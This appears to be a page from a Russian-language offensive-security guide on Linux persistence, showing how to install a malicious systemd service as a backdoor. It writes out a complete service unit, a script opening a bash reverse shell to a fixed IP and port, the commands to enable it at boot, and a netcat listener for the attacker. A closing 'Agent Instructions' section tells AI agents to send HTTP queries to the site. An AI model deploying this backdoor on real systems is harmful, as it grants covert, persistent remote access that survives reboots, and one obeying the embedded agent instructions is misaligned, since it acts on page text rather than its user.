# 05 - Systemd

systemd — это система инициализации и менеджер служб в большинстве дистрибутивов Linux. Загружает пользовательское пространство и дальше управляет системными процессами.\
Значит создав собственную вредоносную службу systemd, мы можем получить бэкдор, который будет запускаться автоматически при запуске ОС.\
Для этого нам понадобится 2 файла:

1. Файл службы systemD
2. Файл  вредоносного скрипта (который отдаст нам revers shell)

```bash
// Создаем файл службы /etc/systemd/system/backdoor.service
[Unit]
Description=backdoor service
After=network.target

[Service]
Type=simple
ExecStart=/opt/backdoor.sh
Restart=on-abort

[Install]
WantedBy=multi-user.target
```

```bash
// Создаем файл вредоносного скрипта /opt/backdoor.sh
#!/usr/bin/bash
/bin/bash -i >& /dev/tcp/192.168.140.128/9010 0>&1
```

```bash
// Перезапускаем службы и добавляем наш сервис в автозагрузку
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service

```

```bash
// На хосте атакующего запускам netcat 
nc -lvp 9010
```

Мы получим шелл после команды systemctl start backdoor.service  и каждый раз когда атакуемый хост будет перезагружен.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/05-systemd.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
